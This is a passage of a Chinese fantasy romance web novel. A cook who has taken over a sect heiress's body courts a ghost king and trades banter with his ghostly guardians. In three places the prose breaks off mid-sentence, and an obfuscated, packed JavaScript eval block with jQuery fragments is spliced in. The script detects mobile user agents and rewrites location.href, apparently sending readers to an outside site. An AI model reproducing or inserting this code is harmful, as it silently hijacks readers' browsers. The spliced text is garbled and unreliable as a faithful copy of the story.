连绝动了动唇,不动声色地避开了那双眼,默然片刻,眼睫微微搭落,低声问道:“月晚是因此而死?”
月情目不转睛地看着他,听到他问,沉默一二。
死亡终究是一个很悲伤的话题。
人生着时总会有无数的希望与无限的可能,但死去,这一切就会落归于定点,从此以后光亮和色彩渐渐远去,世间万物也逐渐模糊,好景色依旧,唯独与你无关。
死者急吼吼道:“对,没错,我就是因为这死了,你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950851|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可别露馅。”
很好,悲伤的气氛瞬间消失。
不愧是从不惧怕死亡,甚至屡屡犯禁的少宗主。
尊重“死者”的意愿,月情难过地嗯了一声。
一人一鬼一时间都没有说话。
不知过了多久,连绝抬目向她看来,眸光微微幽暗了几分。
“如今你可有什么打算?”
月情道:“少宗主已死,我不知为何取而代之,若是被月如龙等人知道我的存在,必不让我好过。可我是无辜的……我本来只是一个寻常的掌勺师傅,来到此处并非我意,我只想好好活下去而已。”
她叹了声气,有些忧伤。
片刻后,才提起精神,一双眼睛十分真挚地看向连绝道:“我知大王性子纯善,乐于助人,必然不会弃我于不顾。”
说完,可怜巴巴地眨了眨眼。
已经是打定了主意要赖上他。
连绝轻轻地摩挲了一下弓弦,听到她这番话,扯了下嘴唇,不置一词。
性子纯善,乐于助人,这还是几十年来第一个活人这样夸赞他。
月情观他不说话,眼珠轻轻转动一下,笑着说:“当然,大王若想我以身相许,我自然无有不可。”
连绝却没错过她眼中一闪而逝的狡黠,心知她这是存心在作弄自己,站起了身,月情正以为他会拂袖离去时,却瞧见他偏头过来,语气认真,看着她问道:“所以,你喜欢做寡妇?”
月情:“………”
他还是他,语不惊人死不休。
少宗主在旁道:“我明白了,你倒戈连绝的原因不是他长得好看,而是因为你喜欢做寡妇!”
你明白了什么?!
少女,你不要危言耸听。
可她却也无言以对,仔细一想,竟也没说错。
她抬目再看连绝。
后者生得高,微微含眉望着她,与之对视上,停顿一二,又悄无声息地移走。
他眼睫微阖,无法直视她情深义重的双眼。
月情轻轻地笑了一声。
此时此刻,夜风轻幽,亭外湖水静谧无波,而肆意生长的树丛轻轻摇曳,发出簌簌地响声。
但那笑音还是突兀而又清晰地传到了他的耳朵里。
连绝停顿一二后,再度看过来,大概是想起了什么值得高兴的事情,少女的眼眸里藏着淡淡的笑意,与他对视之时,又温柔了几分,像蕴着一汪清透的温泉水,平静但是灼热。
她弯眼笑道:“世界之大,无奇不有,大王可不要对我有偏见。”
虽然偏爱做寡妇这件事情十分令人惊诧古怪,但一没杀人放火,二不作奸犯科,自然没有什么令人责怪之处。
只是谁能像她一样,欣然承认,淡然处之,甚至为此微笑高兴。
连绝静静地看了她一会儿,过后道:“自然。”
“如此,我便放心了。”月情莞尔一笑,朝他挥挥手,说:“我回梨花苑了。”
想了想,她又补充一句,“明天见。”
连绝听到她欢愉的声音,瞧见女子转身离去的身影,轻盈、跃动,一路披星戴月而去,渐渐消融在黑暗中,直至被黑暗吞噬看不清半片的衣角。
可却仿佛鲜亮如初,在这黑夜里,遗留下一道温暖的浅浅光影,一颦一笑,都如此鲜活。
他收回了视线,握住了那把暂且被放下的弓,仍旧如月情未来时一般,缄默地做着自己的事,只忽而一阵冷风吹来时,脑中便翻涌而起那生动的身影与明亮的眼睛。
莫名地…熟悉。
13. 倾仙月(十三)
月情带着少宗主回梨花苑时,已经到了破晓时分,她看到了东方一抹鱼肚白。
天已经亮了。
“那位先生所说的违逆天道,你也不信是吗?”
少宗主点头,她的确不信,但却是不能也不可以相信。
只要动摇一分,就是对心境的一份损害。
月情道:“既然你我都不相信走火入魔是天意,那这件事情,就只剩下人为。”
少宗主怔怔看向她,“人为?”
“是,”月情沉沉道,“问题一定出在净月秘法,有人改动了功法。”
少宗主的心脏紧促地跳动了一下,“……什么?”
“昨夜一次,我刚来时你必然也是在用这秘法修炼,如此来说已经因这秘法出了两次岔子。”
月情看向她,目光沉静,“正常人,都会怀疑这秘法。”
抛开所谓天道玄虚不谈,摆在眼前的就是致使两次走火入魔的净月秘法。
这秘法一共有七层,其中,少宗主已修炼至第五层,这套功法可谓与她相辅相成,而她的境界飞升如此之快,也有净月秘法的功劳。
少宗主立即反驳道:“净月秘法不会有问题。”
月情并没有否认,道:“秘法没有问题,唯独你的有问题。”
她再次怔住,光影微微颤动。
月情甚至怀疑,动手脚之人与杀害少宗主父亲的凶手是同一个。
但她没有证据。
不过这个猜测,至少比所谓的天道更容易让人相信。
半晌,月情道:“你还有时间,可以仔细想一想,究竟是哪里出了差错。”
少宗主怔怔地嗯了声,眼眸流转间,却是极其复杂地看了眼月情。
她光影浅淡,面容模糊,只能见着一个轮廓,月情自然分辨不清她的表情,但见她抬首看这边,迟迟不转开,多少也猜到了点她的心思。
除了走火入魔一事,昨夜冲击最大的事情即是连绝的出手相救。
——杀父仇人、恶名在外的鬼王连绝昨夜里突然造访梨花苑,在岌岌可危的情况下出手相救。
这可能吗?
这不可能,却又偏偏发生在眼前。
“鬼王连绝,或许并不坏。”
少宗主与她对视,明明眼前的是自己那一张脸,却莫名地让她如临大敌,整颗心都提了起来,而想要反驳,却一个字都吐不出来,好半晌,才磕巴地说,“他…他必然有所图。”
月情闻言轻笑了一声,那笑容很浅,只像是听到了什么有趣的事,可少宗主听在耳朵里,却无比地讽刺,她深吸了一口气,又赌气一般地别过了头,不吭声了。
虽是赌气,但光影微微颤动,看起来十分地心虚。
月情看了会儿,心知她已经有所动摇、怀疑,微压住眉峰,并不多说什么,推门进去时,揉了揉眼睛。
这几天一直生活在这鬼山头,她感觉自己过得颠三倒四,现下又受了伤,难免困乏,这会儿也不管天亮了,进了屋子就爬上床,沉沉地睡去。
很快她就呼吸均匀,陷入了梦境。
月情梦见自己回到了倾仙楼,而连绝正在她身边,歪着头在看她,眼睛弯弯的,蕴着一汪春水,倒映着她的容颜,久久不肯眨一下。
外面的夜空上挂着一轮血月,她正在关窗子。
这是中元节那天夜晚。
月情恍惚一瞬,脸上传来轻轻痒痒的的戳弄感,她偏头过去,好笑不已地问,“幼不幼稚?”
听到她这么说,连绝挑了下眉,眼底有几许恼意,佯装无礼地挠她的腰,低头亲她的唇角。
月情最怕他这一招,笑着连连求饶,他的吻落到她眉心,又轻笑着,亲昵地问,“不行吗?”
月情莞尔,伸手摸了摸他的头,连绝弯着眼睛凑近过来咬她的手指,像小狗一样闹她,月情看着他湿漉漉的眼睛,轻轻发笑,故意逗他玩。
暖黄的烛光下,两道剪影,紧紧地相依在一起。
月情擦去笑出来的眼泪,忽而发困,忍不住揉了揉眼睛。
连绝摸了摸她的脸,冰冷的触感令她激灵了一下,再抬起头时,却看见一双冷漠暗沉的眼睛。
月情呆了一瞬,紧接着感到一阵心慌,她控制不住地发抖,“连绝——”
她挣扎着,而下一瞬,被人扣紧了手,十指相缠,紧接着落到了一个温暖熟悉的怀抱中。
“我在这,”连绝搂紧了她,又重复了一遍,月情这才镇定下来,紧紧地抱住他不肯松手。
他低下头,黑夜中,那双眼睛仍旧明亮如初,洋溢着笑意,目不转睛地看着她,而后在她唇上重重地亲了口,又眨眼笑着说:“我一直在你身边。”
渐渐地,连绝松开了怀抱,月情察觉出他要离开的意图,连忙探出手,他却莞尔一笑,扣住她的手指,渐渐地从原地消散。
而她的手突兀地落在了空中。
这一刻,好像整颗心被挖走了大半,逼得人喘不来气。
在濒临窒息之际,她蓦然地睁开了双眼,对上四周冷清的格局,才惊醒过来。
只是个梦……
月情孤零零地垂落着眉眼,看着自己白皙的手掌,抿紧了唇,而后低低地在心中又念了一遍那句话——我一直在你身边。
她不由卸下了所有的情绪,心中五味杂陈。
他一直在她身边。
果然,他早有所料……这个梦,大抵是他做了什么手脚,告诉她在这修仙界也不要害怕,他一直都在,就在她身边。
思及此,月情的心头微微一热,转而想到如今身在见云山的鬼王连绝,眼中的笑意又渐渐淡去。
在倾仙楼的连绝明显知道修仙界,而这里的鬼王连绝,却不知道大祁。
与大祁有关联的,唯有月情一个。
鬼王连绝只有可能从她身上得知大祁的存在,从而跨越整个修仙界,与她再度相见。
是他的重逢,却是她的初见。
月情忽而捏到了那一枚本想丢弃的平安符。
她眸光微动,瞧着上面的佛法梵文。
原来根本没有鬼王的惩罚,而是命运无上的指引。
是真的上上签。
**
“少宗主,我有了一个接近鬼王的想法。”
少宗主还在想昨天发生的事情,冷不丁听到她的声音,呆滞一瞬这才转过头来,但还是有几分别扭,半晌才磕巴地问:“哦…什么?”
月情清了清嗓子,双眼中藏着决心,道:“我要让他爱上我。”
少宗主听到这里,对上她笃定的眼神,脑门上缓缓浮起一个问号,而后又看向自己青春靓丽的身体,警惕性顿时大起,“我警告你,不许用我的身体去做奇怪的事情。”
“……”月情见她想歪了,不由一噎,而后严肃道:“停止你危险的想法,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950852|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我的意思是让他爱上我这个灵魂。”
少宗主这才松了一口气。
她拿出已经准备好的说辞,“获得鬼王的信任,只有两个办法,一是像四大护法成为鬼王的爪牙,助纣为虐,二即是如方才所言,成为鬼王所爱之人。而两害取其轻,只能选后者,我相信你也会明白。”
少宗主冷笑一声,一眼看穿她的真实意图,“说白了,你不就是想做寡妇吗?”
月情:“……”
你究竟在看穿些什么?
少宗主又道:“既然连绝没有意见,我当然不会有意见,反正他尊重你的爱好。”
月情扯了扯唇角,不想再继续寡妇这个话题,转移道:“你觉得如何能够亲近他?”
“你忘了吗?你是见云山第一个也是唯一一个厨子,是鬼王的小厨娘,从中下手,再好不过。”
绕来绕去终究是又绕回来了。
只是巧妇难为无米之炊。
且不说这一点,她发现此时此刻的鬼王连绝似乎有些厌食,与后来那个一顿吃三桶饭的大胃王可以说完全是两个人。
她忍不住思索。
莫非是因为她做饭太合他的胃口,所以他才念念不忘,从修仙界一路追到了大祁?
很有可能,因为他最爱吃她做的饭。
月情还记得第一年相遇的冬至,当时雪夜深黑,桌上只点了一盏如豆灯火,他微低着头吸面条,热气缭绕中,烛火映在他的脸上。
她当时是有些心不在焉的,抬起头看见他的眼神时却顿在原地。
她说不清他当时看她的眼神。
像是漫长黑暗中突如其来的破晓长明,是无尽夜幕里刹那亮起的璀璨繁星,是深寒雪夜中一点暖热摇晃的明亮烛火。
那一眼,可抵无情岁月,更可抵无尽寒霜。
要怎么来形容——
经年以后,月情才后知后觉地恍然,当时他的眼神里藏着的究竟是什么。
原来是最简单的幸福。
打定主意后月情打算去探探秋苑与风宁的口风。
之前接触下来,她感觉秋苑对她很是照顾,性子也挺和善,十分好说话。
而风宁虽然是个不稳定因素,但说不准今天他心情很好,月情随意诈诈他,他就吧嗒吧嗒地全吐露了出来。
从梨花苑里出来时,已经到了傍晚,见云山的山头亮起幽幽的冥火,一路落往黑沉沉的极阴殿周遭。
月情注意着身侧是否有动静声,打算随手拦下一个小鬼打探打探连绝的消息,但一路行去这些小鬼全避着她走。
这时候她才发现,她是三分怕小鬼,小鬼则是七分怕她。
全因这些小鬼虽然长得吓人,但修为低阶,而她毕竟是大名鼎鼎的少宗主,乃踏墟境巅峰。
一展手,保不准一巴掌就将他们给拍散了,于是都躲她躲得远远的。
月情不由失笑,她如今受了伤,灵气被封闭至经脉中,完全构不成威胁,只可惜,他们一见她就惊慌无比作鸟兽散。
不得已,她只能两眼摸黑地前往极阴殿。
而没了灵力,她也是头一回发现这石阶原来这样长,简直和她的命一样长。
而好不容易爬到石台上,月情还没能站定,就对上了风宁阴沉沉的脸,他正倒挂在宝剑上,凶神恶煞地盯着她。
“………”
看来他心情不好,而她来得不是时候。
14. 倾仙月(十四)
风宁冲她冷哼了一声,倒挂在自己的宝剑上围着她转了一圈,又阴沉沉地飘了回去,兀自不爽地闹道:“我要下山,我要出去玩!”
话落,他的身后则传来一个厚重的声音,没有语气起伏,但能听出浓厚的不悦,且道:“上次因为你凑热闹去看百目鬼的尸体,现在修仙界全部以为百目鬼是大王豢养的手下。大王的名声又被你拖累了一层,不仅如此,还引起了仙盟的高度重视,令各地的城池都设下防线,以至于我险些回不来。”
重影抬目看他,不虞道:“若你下山被捉住倒也罢了,但我不想看见大王因为你受人胁迫。”
风宁冷哼了一声,咬牙狞笑,与他针锋相对,“我魂飞魄散也不会给大王添麻烦,不必你操心。”
重影没说话,但眼睛里全是执拗,冷沉沉地立在那,浑身都散发着肃杀之气,没有一丝一毫让步的意思。
“吵什么吵,”秋苑冷笑一声,“一点小事也值得吵?”
两只鬼都没有让步,冷哼一声,相互对峙。
“我有个两全其美的方法,保证让风宁添不了错,也可以满足他下山的想法。”她缓缓道。
重影沉默片刻后道:“只要他不出错,我没有意见。”
风宁兴奋道:“是什么是什么?”
秋苑微微勾唇,饶有兴致地看着他,随后才盈盈道:“秋猎。”
“………”
沉默,是长久的沉默。
风宁停滞在空中,笑容僵滞在嘴角。
秋苑斜眼看他,“你觉得如何?”
风宁深吸一口气,瞬间变脸:“我觉得见云山也挺好。”
他微微一笑,眉眼中的戾气消失殆尽,一张清俊温雅的脸,若名士举子,“你们看多美的景色啊——”
说着,风宁举起长袍挥向一边奇形怪状的黑树枝,一脸陶醉,完全不像作假,热忱又迷醉地大声说道:“我太喜欢见云山了,我要留在这里一百年,不,一万年!”
秋苑关怀地问,“所以你不想下山玩了?”
风宁立马摇头,“当然了,我这么喜欢见云山。”
秋苑闲闲地看了眼重影,勾唇一笑,轻松道:“好了,他听话了,你可以安心了。”
重影:“……”
为什么目的达到了,可他更不爽了呢?
“秋猎是什么活动?”这时候,角落里忽而传来一个轻而淡的声音。
重影觉得必须为秋猎正名,清了清嗓子,十分推崇且认真道:“秋猎是见云山最有意思的活动,是我们见云山从开始便一直存在的传统,而每个陪伴大王秋猎的人都会感到至高无上的荣耀……”
话还没说完,边上的风宁就捂住了肚子,凝住五官,踉踉跄跄地滚到了地上。
再抬起头时,他原本温润清雅的脸瞬时间老了五百岁,满脸的皱纹,抬起来的手也颤颤巍巍地,仿佛命不久矣,怅然道:“果…果然……我老得快要入土了吧,要不然怎么会听到…秋猎是最有意思的活动……”
重影暗自磨牙,攥紧的拳头已经邦邦硬。
角落里声音的主人还未离去,声音不远不近地传过来,轻轻柔柔,令人如沐春风,“我能参加吗?”
简直是如听仙乐耳暂明,重影一瞬间百感交集热泪盈眶,又连忙整理好仪容,对这位与他兴趣相同的同僚百般亲切,扬起笑容,转过头道:“当然了,这可是我们见云山最最最有意思——”
而后戛然而止,因而他对上了他绝不会认错的,净月宗少宗主的脸。
月情向他微微一笑。
重影:!
他顿时如临大敌,连忙后退,一脸防备,“我是说这等有意思的活动,当然没有位置了。”
月情满脸遗憾地叹了口气,脸上的失落真心实意,“可是我很想去诶。”
重影冷冷地看着她,疏离道:“恐怕要让少宗主失望了,目前看来,没有一只鬼会让出这……”
“谁说的,把我的那份让给她,”风宁伸出手,一下子就有了精气神,飞速闪身至月情身边,一脸庄重地拍了拍她的肩膀,“这个名额,非你莫属。”
重影:“………”
妈哒,好歹等他说完再拆台啊。
“谢谢,你真是心地善良的大好人。”月情抱起拳头,向着风宁拱手。
人家虽然因为伤到了脑子有点疯,但的确有一副慈悲为怀的好心肠,如果不是风宁,她还见不到连绝,也不能在见云山留下来。
而现下,风宁更是直接把这个机会白送给她,让她有了与连绝相伴的由头。
月情看着他,深以为然。
——这哪是鬼王的护法,这分明是在世的活月老。
风宁听到她夸自己,愣了一下后大悦,哈哈哈大笑,同样抱拳回礼,道:“不愧是净月宗少宗主,修仙界被誉为第一的少年弟子,果然有眼光。”
一人一鬼纷纷喜不自禁,有种相见恨晚的意思,若不是旁边的重影盯着,恐怕都要上拜关公,义结金兰,成为实打实的“生死之交”。
月情清了清嗓子,看着风宁,真诚道:“风宁护法,您拨给我的厨房,是不是少了点什么东西?”
风宁眨了下眼睛,“有吗?”
月情摊开手,循循善诱道:“比如说锅碗瓢盆,鱼肉蔬果……”
“噢——”风宁作恍然大悟之状,月情见此欣慰不已地点了点头,示意他顺着她的话答应下来,身侧却传来疑惑的声音,“少宗主,你身为修道之人,早已辟谷,什么时候也需要厨灶之物了?”
月情转过头看见重影的脸,后者若有所思,眸光灼灼,直盯着她。
她微微笑了笑,面对他的质疑,从容不迫,“天下修士众多,所爱花草者,所爱机关者,所爱文章者,各式各样,只是我所爱恰好是美食罢了。”
“呵,”重影讽刺地冷笑,而后道:“别以为我不知道你的目的,在极阴殿上说什么一心一意想给大王做饭,恐怕做饭是假,下毒才是真吧。”
风宁听到这句话,转头对月情道:“下毒没有用,大王是毒不死的。”
“……”
重影忍无可忍,把他抓了过来,一脚给踹下了石台,风宁惨叫一声,从石阶上滚下去,摔得那叫一个四分五裂。
简直是惨不忍睹。
月情摇了摇头,默念善哉善哉。
抬起眼睫,却撞到重影不善的目光之中,她微微笑了笑,坦然道:“我说自己喜欢美食,喜欢做饭,这句话如若有半个假字,那就天打雷劈,令我魂消体亡,不得好死。”
修仙界的雷劫千千万,不知多少一步登天的修士就倒在雷劫之下。
这可是大忌讳。
可那柔弱的女子却没有半分胆怯心虚的意向,只安安静静地站在那里,淡然自若,却莫名地令人信服。
重影失语,半晌后,凝眉要说话,秋苑却是抬步而上拦住了他,侧目过来,若有所思地伸长了手指,向着月情的方向勾了一下。
她纤细的手指上泛出一道淡淡的紫光,隐隐瞧见一只乌雀鸟的图腾,见此,秋苑勾唇一笑,看着月情的目光中多了两分的趣味与光彩。
而重影在看见那个图腾时则不可置信地瞪大了眼。
“是…是大王的图腾……”
月情看着那乌雀鸟,眸中也诧异一分。
秋苑弯眼道:“重影,看来大王早已经认可少宗主了。”
重影失语,仍旧不能相信。
“是什么时候…?”
月情终于回过神,随之轻轻地笑了笑。
“昨天晚上,”她回答着,又补充了一句,“在你走之后。”
重影:“………”
他心情复杂,看着月情毫不掩饰的愉悦笑容,心中一片郁气。
这个对着大王喊打喊杀的坏女人,才来了几天啊,居然就把大王迷得七荤八素!
月情是真的心情极好,看来已经顺利踏出第一步了,她慨然道:“我就知道,我这么真诚,怎么会有人怀疑我的真心呢?”
重影:“………”
好了,不用再点他了。
他自暴自弃地想,原来他才是多余的那一个,嘤。
**
得到了连绝的认可与护身的乌雀图腾,月情即可以自由地出入见云山。
她心情很好,想下山采买点东西。
重影执意要跟过来,美其名曰是给她带路,但他警惕的眼神已经暴露了他的真实想法。
月情也不管,兀自进城。
见云山下的城池叫云廷城,城池规模很大,居住的百姓不少,大白天时,人来人往,沿街叫卖的商贩络绎不绝,一派热闹繁荣的景象。
难得能下山,月情立即就去打听云廷城的美食。
得知这城池还是座素有美名的花城,不仅沿街都是艳丽芬芳的花朵,城中的百姓还用这些花瓣做了不少精巧漂亮的点心。
月情看着各式各样的鲜花饼眸光发亮,掰开其中一块,里面还流着心,一口咬下去,外皮又酥又脆,还夹杂着花朵儿的馨香,而内馅甜而不腻,软滑弹牙,吃了一块还想吃。
她抓出一块灵石,拍在桌案上,“给我都包上。”
一块灵石能买的东西太多了,这玩意在修仙界是可遇不可求,是比黄金还要硬的硬通货,店家一瞧,当下就乐呵呵地招呼人手帮她打包。
重影一直跟着她,若有所思地,倒是不再说话,恢复了之前月情看他时沉稳的模样,不知是在想些什么。
月情全程无视他,吃完甜点,转头又兴冲冲地去餐馆点名要吃本地特产——赤尾龙鱼,听说鱼肉又鲜又嫩,没有半分的腥味,而且煎炒炸煮都是一绝。
尝完后,她眼睛一亮,赶紧招呼老板替她打包一条。
沿街吃了一路,遇到什么好吃的,月情都拿着一个簿子记下来,默默观察默默思考,神色极其认真,不知道的还以为她在大街上默写随时准备大考。
重影看着她的背影,不由疑惑。
看她那样,倒的确像是喜欢美食喜欢做饭的寻常女子……
他忽而记起连绝之前对他说过——不是一个人。
重影嘶了一声,而后睁大了双眼。
所以,那个传说中修仙界救世主的少宗主就被眼前这个寻常女子替换了?
一时间,重影对修仙界的未来感到无比地惆怅,同时,又觉得这真是件天大的好事,简直可喜可贺。
不过,他还是得保持警惕之心。
毕竟,谁家普通姑娘能像月情那么大胆在鬼窝里来去自如。
月情不知道他在想什么,现下已经开始挑趁手的厨具,刚抓到一把菜刀,光滑的刀面闪过凛冽的光,重影凝重思索的神色反光过来。
她转目去看,重影却立马换上一副冷淡不屑的神情。
月情莞尔,道:“好奇大王为何会认可我?”
重影怔了一下,很想点头,但是忍住了,瞥她一眼,十分高冷地嗯了一声。
“这样,你告诉我你与大王是如何相遇的,我就告诉你他为何信任我。”月情动了下眼珠,笑眯眯地说。
之前听少宗主提起过,重影是连绝诞生时就一直在他身边的鬼,十分得连绝的信任,连绝的过往,他应该会略知一二。
重影眸光渐深。
比起那个对连绝十分仇视的少宗主,眼前这个看似温柔和善的女子却也不一定好相与。
不过——既然连绝选择相信了她,即使他有所不解,但不会质疑。
他无条件地信任与支持大王的决定。
重影的思绪渐渐飘远,一下子拉回到几十年前与连绝初相遇的那一天,“那时候,我刚死不久,鬼魂还十分弱小,没有自己的意识。”
人死后,魂魄是很脆弱的,即使是像连绝这样的厉鬼,在清醒之前,也不例外。
而重影则不必说,他生前不过是个有几分力气的普通人,死后自然也只会是个普通又弱小的鬼魂。
他只隐隐约约地记得自己被一个古怪道人捉去了。那道人将他关进了一个笼子里,里面
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950853|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不少同他一样的亡魂,懵懂无知地翕动着。
后来他才知道,这道人所修驱鬼之术,捉他们是想用这些亡魂炼化出一个强大的鬼将为之使用。
不过这道人术法学得不精,嘴倒是挺硬,练不成好的鬼将,就嫌弃他们这一群亡魂成色太差。
但那些成色极好的,道人也收服不了,只能抱着踩狗屎运的想法看能不能捡漏。
说来也是巧,今天路过一座荒山野岭,他就碰到了一个呆呆木木,坐在河边一动不动,身上散发出森森鬼气的少年。
只一眼,他就看出了这是一只迷惘的厉鬼,还未彻底清醒,但煞气极重。
道人顿时明白气运来了,直接甩了笼子,疯狂扬唇,阴笑着扑了过去——嘿嘿嘿,只要把这少年炼化成鬼将,这修仙界还不任他搓圆捏扁!
道人嘴里叫着急急如律令,急吼吼地冲了上去,但还没碰到那少年的袍角,就被弹远。
他瞪大双眼,不可置信,又不死心地爬起来冲上去,但又被弹开。
如此反复几次,呆呆木木的少年终于有了点反应——他起身,等着道人冲过来,而后抓住道人的衣领子,直接把道人的头掼进了土里。
道人傻眼,满嘴的泥巴味,随之大怒,含着土大念咒语把他平日里练的一只鬼将叫出来。
这只鬼将已经有悟念巅峰境界,修为可谓不低,再加上他还不信不能擒拿住这只呆鬼。
道人一咬牙,打算让自己的鬼将周旋一阵子再伺机而动,正这时,身旁的土壤突然松动了一下。
鬼将的头和他撞到了一块儿,撞得他两眼冒金星,而一人一鬼被诡异地插进土里,比边上的白杨树栽得还整齐。
任谁见了都要夸一句,真是插秧的一把好手。
“………”
确定道人不再有小动作,少年微微转身,大概是同类相吸的缘故,他觉察到了被道人丢弃在一旁的笼子。
抬手拆开一看,里面都是些十分弱小的亡魂,粼粼地闪着最后一点幽光。
没了道人所下的禁制的约束,他们很快飘了出来,渐渐地飘飞向天空,无声无息地消散开。
只有一个固执地躺在少年的掌心里不肯离去,浅浅的光芒轻轻地闪动着。
这是要清醒的征兆。
他并不急着走,安安静静地等了一阵子,这只小鬼很快挣动着滚到地上,现出生前的形容,眼中带着感激地看他,跪地答谢道:“恩公,重影虽然是一介莽夫,没什么用处,但今日您救了我,往后即使是刀山火海,重影也在所不辞。”
说话间,重影抬起眼看向眼前这个年岁并不大的少年。
山风漫漫吹过,卷来灿金色的枫叶,那模样清俊的少年立在阳光之下,明明该与这山这景融为一体,却生生地像剥离出一道暗光,突兀地站在那里。
重影莫名心头一紧。
不知多久,他才听见那少年轻而淡的声音,“你为何还留在这世上?”
重影怔了一瞬,犹豫片刻后说:“我家中还有个老母亲,我放心不下她。”
当鬼有了执念,鬼魂即使再弱小,也会在这世上多停留一段时间,而重影,即是因为家中的老母不舍得离去。
他的母亲是个半瞎子,还是个寡妇,自己出去打仗后平时也没人在她身边,如今更是死了连个信件都捎不回去……
重影很想回家去看看,但他知道自己很弱很弱,而从这里回到老家有十万八千里,想要靠自己在这危险的修仙界走回去,实在是太难了。
他身而为鬼,没有任何倚仗,此时此刻唯一能帮到他的……
重影咬了咬牙,跪在地上给少年磕头,厚着脸皮道:“请求恩公助我,而如此大恩,重影必将百倍奉还。”
其实这话很没有底气,人家这么强,怎么会需要他的报答,但是眼下,重影也没有别的办法了。
“你家在何处?”这一次,少年的声音有了起伏,意外地好说话。
重影顿时起了希望,热切道:“云廷城百丰镇。”
**
月情听完后若有所思。
原本以为他们俩的相遇应该十足地血腥残忍,或者说波澜壮阔,理应有一种话本小说里诡谲多变、生死予夺的跌宕起伏。
现在听来,这段相遇其实还挺平淡。
并且——
她笑意不明,撩起眼皮,一根根分明的眼睫弯曲出一片浅浅的阴影,令人捉摸不透,“哦,这么说大王随你来了这里后便一直未有离去?”
重影摸了摸后脑勺,憨厚一笑,道:“我不识字,回云廷城之后就请大王帮我写家书,因为不想耽误他的行程,想来想去觉得自己学会写就没问题了,大王心肠好,答应教我,而这期间里,我们见云山莫名其妙来了很多小鬼,不知不觉中,就渐渐变成这样了。”
只不过是萍水相逢而已,但连绝一而再再而三地帮助他,对于重影而言,这份恩情似山似海,值得他生死相随。
月情点了点头,心中想果然如此,而后弯唇道:“其实我与大王之间同你与大王之间是一样的。”
重影不解:“是吗?”
月情转着菜刀,轻轻笑笑,“昨天在湖中亭,我求大王罩着我,然后他就同意了,就如今日之见。”
重影愣了一下。
月情又偏头看向重影,笑眯眯道:“看不出来,重影护法与我还是同道中人。”
重影满脸黑线,“谁和你是同道中人。”
月情看着他,一脸真诚,“我们赖上大王的手法分明一模一样,旁人不知道的还以为我们师出同门。”
她一拱手,向他眨了眨眼,道:“往后还请师兄多多照顾,有什么好的赖皮招数,记得千万不要忘了师妹。”
重影大怒,心道谁和你师出同门,谁赖上大王了,他明明铁骨铮铮,光明正大,一身浩然正气,满脸都写着忠义——
地哀求大王帮他。
“………”
重影欲怒又止。
什么,她说得居然是对的?!
15. 倾仙月(十五)
买好食材后,月情手持三把菜刀扛着两个大汤勺上山了。
她把东西先放到了梨花苑,又拎着点心往极阴殿找去,却并没有见到连绝的影子,月情郁闷地徘徊一阵子,忽而想起一个地方,眼睛一亮。
——连绝已经认可她了,那她去他的私人庄园,也不算冒犯吧。
她踏入那条僻静的小径上,从日光中看见一片湛蓝色的天空,只是一根根直起的大树光秃秃地挡在了中间,未免显得寥落凄清。
而尽头深处的那座庄园,在这样的景致之中,看过去,是一院的落败与荒凉。
月情愈是靠近,愈是感觉冷清。
她不自觉地放轻了动作,随之敲了敲门,不知多久,大门一边的角门开了道缝。
月情心中一动,转身进屋,从外探进,入目是一片争奇夺艳的花卉,娇嫩地晒着太阳,在风中迎迎摇曳。
说好的落败与荒凉呢?
感情见云山这座荒山都会挑着主人长花长草?
月情暗叹世风日下,提着点心往里走,跨过一道垂花门,转眼看见一怪石打造出的奇异假山,而山边乃是一被人打理过的莲池,池子里又养了不少锦鲤,红红火火地瞧着十足喜庆。
而连绝就在池边,他坐在一棵槐树下,斜斜倚着石桌,漫不经心地垂着眼睫,修长明晰的手指则搭在桌边,偶尔会撒一些手中的鱼食,百无聊赖地看水中游鱼嬉戏争闹。
“大王,”月情将点心拿出来,双眼盈光,等不及向他道,“我今天下山去了,买了些点心回来,这点心十分清甜,吃来不腻人,还有股淡淡的花香。”
连绝将视线从游鱼上移过来,月情朝他微微笑了笑,摆开各式各样的点心,“大王要不要尝一尝?”
他支着脸的手指微微蜷缩,嗅到空气中的甜香气,看着女子恬静温柔的面容,停顿了一下,转开了目光,“不必了。”
虽然他十足的冷漠,可月情却像浑然不觉一般,眼中的笑意没有淡去分毫。
她耐心十足,毫不气馁,追着他道:“大王不要同我客气,我身为你新收的小弟,无论如何都要出一份力,区区点心而已算不得什么,等我回去熬一锅鱼汤,给大王好好地补补身子。”
连绝避不开她,淡漠的视线扫了一下,道:“鬼不用补身子。”
“……”
